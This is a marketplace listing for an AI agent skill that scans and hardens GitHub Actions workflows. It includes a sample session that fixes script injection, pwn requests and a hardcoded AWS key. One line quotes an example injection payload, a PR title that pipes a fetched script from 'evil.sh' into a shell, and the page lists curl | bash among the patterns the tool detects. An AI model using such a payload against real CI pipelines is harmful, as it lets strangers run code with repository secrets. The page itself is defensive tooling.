Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIDeepSeekDeepSeekMuseMuse+22 more

    GitHub Actions Hardener

    1

    In March 2025 the tags of a popular action, tj-actions/changed-files, were re-pointed to malicious code that dumped CI secrets into public logs across thousands of repositories.

    $12

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    GitHub Actions Hardener

    GitHub Actions Hardener

    Example session with this skill installed

    Audit .github/workflows/ci.yml for security problems and fix everything you safely can. Show me the score before and after.

    • Read your context and instructions
    • Compiled the github actions hardener

    Summary

    ci.yml started at

    0/100 (grade F) with 26 findings, including three ways for a stranger to steal your secrets. After the fixes below it re-scans at

    100/100 (grade A) with 0 findings. Two items need you: rotating a leaked key and confirming the trigger change.

    Before

    SeverityCountRules
    Critical5GHA001 script injection (x3), GHA002 pwn request, GHA008 hardcoded AWS key
    High5GHA006 write-all (x2), GHA009 unsafe commands, GHA003 unpinned third-party action and reusable workflow
    Medium11unpinned GitHub actions, dead upload-artifact v3, checkout v3 on Node 16, persisted credentials, curl | bash, self-hosted runner on PR trigger, secrets: inherit, ubuntu-20.04
    Low5no timeouts (x2), no concurrency, no npm cache, ::set-output

    The three that matter most

    Pwn request (line 16). The workflow runs on pull_request_target, which has secrets and a write token, and then checks out github.event.pull_request.head.sha. Any fork PR runs its own build scripts with your credentials.

    Fix: switched the trigger to pull_request. Nothing in this workflow needs base-repo privileges, so no workflow_run split was required.
    2.

    Script injection (lines 24, 25, 45). ${{ github.event.pull_request.title }}, ${{ github.head_ref }} and ${{ github.event.comment.body }} were pasted into shell and JavaScript. A PR titled "; curl evil.sh | sh; # would execute.

    Fix: moved each into env: and read it as "$TITLE", "$HEAD_REF" and process.env.COMMENT.
    3.

    Hardcoded AWS key (line 35). Fix: replaced with ${{ secrets.AWS_ACCESS_KEY_ID }}.

    Action for you: revoke and rotate this key in AWS now; it is still in git history.

    What changed

    $ python scripts/gha_audit.py fix .
    Changed 8 line(s):
      ci.yml:13  job 'build': timeout-minutes: 30
      ci.yml:38  job 'comment': timeout-minutes: 30
      ci.yml:17  actions/checkout@v3 -> a37ce9120846
      ci.yml:20  actions/setup-node@v4 -> 49933ea5288c
      ci.yml:29  tj-actions/changed-files@v44 -> 2d756ea4c53f
      ci.yml:30  actions/upload-artifact@v3 -> ff15f0306b3f
      ci.yml:44  actions/github-script@v7 -> f28e40c7f34b
      ci.yml:51  could not resolve org/shared/.github/workflows/release.yml@main (left unchanged)
    

    Then by hand, following each finding's recipe:

    AreaChange
    Permissionswrite-all replaced by contents: read at the top; the comment job gets pull-requests: write only
    Checkoutupgraded to v4, persist-credentials: false
    Artifactsupload-artifact v3 (shut down) to v4, re-pinned
    Runnersubuntu-20.04 (retired) to ubuntu-24.04; comment moved off self-hosted
    Install scriptdownload, verify SHA-256, then run, instead of curl | bash
    Secretssecrets: inherit replaced by the one secret the release workflow uses
    Private workfloworg/shared release workflow pinned to its commit SHA by re-running pin with a GH_TOKEN that can read that private repo
    Costconcurrency group with cancel-in-progress on PRs, cache: npm
    Output::set-output replaced by $GITHUB_OUTPUT; ACTIONS_ALLOW_UNSECURE_COMMANDS removed

    After

    GitHub Actions Hardener 1.0.0: 1 file(s), 0 finding(s)
      critical=0  high=0  medium=0  low=0
      Score 100/100 (grade A)
    

    Next steps

    1. Rotate the AWS key.
    2. Add references/ci-template.yml so new workflows are checked on every PR, and enable Dependabot for github-actions to keep the SHAs current.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    In March 2025 the tags of a popular action, tj-actions/changed-files, were re-pointed to malicious code that dumped CI secrets into public logs across thousands of repositories. Every repo that used @v44 instead of a commit SHA ran it. Most workflows still have that problem, plus a few worse ones.

    GitHub Actions Hardener gives your agent a deterministic scanner for .github/workflows, then has it explain each risk and apply the fixes you approve. Findings come from code, not guesses, so the same workflow always gets the same report.

    What it catches (19 rules)

    Critical

    • Script injection: PR titles, branch names, issue and comment bodies expanded into run: or github-script, which lets anyone who opens a PR run commands with your secrets.
    • Pwn requests: pull_request_target or workflow_run jobs that check out and run fork code with a write token.
    • Hardcoded secrets: AWS keys, GitHub tokens, OpenAI-style keys, Slack and Stripe tokens, private keys.

    Supply chain and privilege

    • Third-party and GitHub actions not pinned to a commit SHA, and Docker images without a digest
    • permissions: write-all or no permissions block at all, with least-privilege suggestions worked out from each job's steps (releases, PR comments, OIDC, Pages, GHCR, SARIF upload)
    • Checkout leaving the token in .git/config, secrets: inherit, curl | sh, self-hosted runners on PR triggers, unsafe workflow commands

    Reliability and cost

    • Shut-down action versions (artifact v3, cache v3, Node 16 actions) and retired runner images
    • Deprecated ::set-output, jobs with no timeout (default 360 minutes), no concurrency cancelling, and dependency caching left off

    What it fixes for you

    • pin rewrites every uses: owner/repo@v4 to its 40-character commit SHA and keeps # v4 as a comment, so Dependabot can still upgrade it.
    • fix adds timeout-minutes to every job and pins in one pass, with --dry-run to preview.
    • Your agent applies the rest (injection, permissions, pwn-request splits) using step-by-step recipes, then re-scans to prove the score went up.

    Fits into CI

    • Text, JSON and SARIF output; findings show up in GitHub's Security tab and as PR annotations.
    • Exit codes for gating (--fail-on high), plus a ready-to-use, already-pinned workflow template.
    • 0 to 100 score with an A to F grade, so you can track hardening over time.

    Tested on real repos

    Validated against the workflows of Flask, Requests and FastAPI with false-positive tuning (it knows setup-uv and actions/cache already cache). Ships with vulnerable and hardened example workflows so you can see every rule fire.

    Requirements

    Python 3.9+ and pip install pyyaml. Scanning is fully offline. Pinning calls the public GitHub API; set GH_TOKEN for higher rate limits.

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for DevOps & Cloud.

    Static analysis only. Cannot see org-level settings or environment protections. Does not verify if pinned SHAs belong to the official repository vs a fork.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 2 days ago

    Accounts
    GitHub
    Software
    PythonGit

    Permissions

    Terminal / Shell
    Network Access
    Read Files
    Write Files
    Environment Variables

    Allowed Hosts

    api.github.com
    Listed2 days ago

    What's inside

    Frequently Asked Questions

    19 deterministic rules across security, supply chain, reliability and cost: script injection from PR titles, branch names and comments; pull_request_target and workflow_run pwn requests; hardcoded secrets; actions and Docker images not pinned to a SHA or digest; write-all or missing token permissions; persisted checkout credentials; secrets: inherit; curl | sh; self-hosted runners on PR triggers; unsafe workflow commands; shut-down action versions and retired runners; ::set-output; missing timeouts, concurrency groups and dependency caching.

    Python 3.9 or newer and PyYAML (pip install pyyaml). It follows the SKILL.md standard, so it works in any agent that can run shell commands: Claude Code, Codex CLI, Cursor, Gemini CLI and others. Scanning is fully offline; only SHA pinning needs internet access to api.github.com.

    No. It reads only your workflow YAML files, locally. The only network calls are made by the pin command, which asks the GitHub API which commit a public tag (like actions/checkout@v4) points to. Your workflow contents are never uploaded.

    The script pins every action and reusable workflow to its full commit SHA (keeping the tag as a comment so Dependabot still works) and adds timeout-minutes to jobs, with a --dry-run preview. Your agent applies the rest using the recipe attached to each finding: moving untrusted input into env variables, tightening permissions using the suggested scopes, upgrading dead actions and runners, and splitting pwn-request workflows. It re-scans afterwards to confirm the score improved.

    SKILL.md (the agent workflow), scripts/gha_audit.py (scan, pin and fix commands with text, JSON and SARIF output), references/rules.md (every rule with the attack it prevents and a before/after fix), references/ci-template.yml (a pinned workflow that gates PRs and uploads SARIF to code scanning), vulnerable and hardened example workflows, and the MIT licence.

    It is static analysis of the YAML. It cannot see repository or organisation settings (default token permissions, fork PR approval rules, environment protection), actions chosen through expressions, or what an action's code does internally. It also does not prove a pinned SHA comes from the official repository rather than a fork, so pin from the official repo.

    New in DevOps & Cloud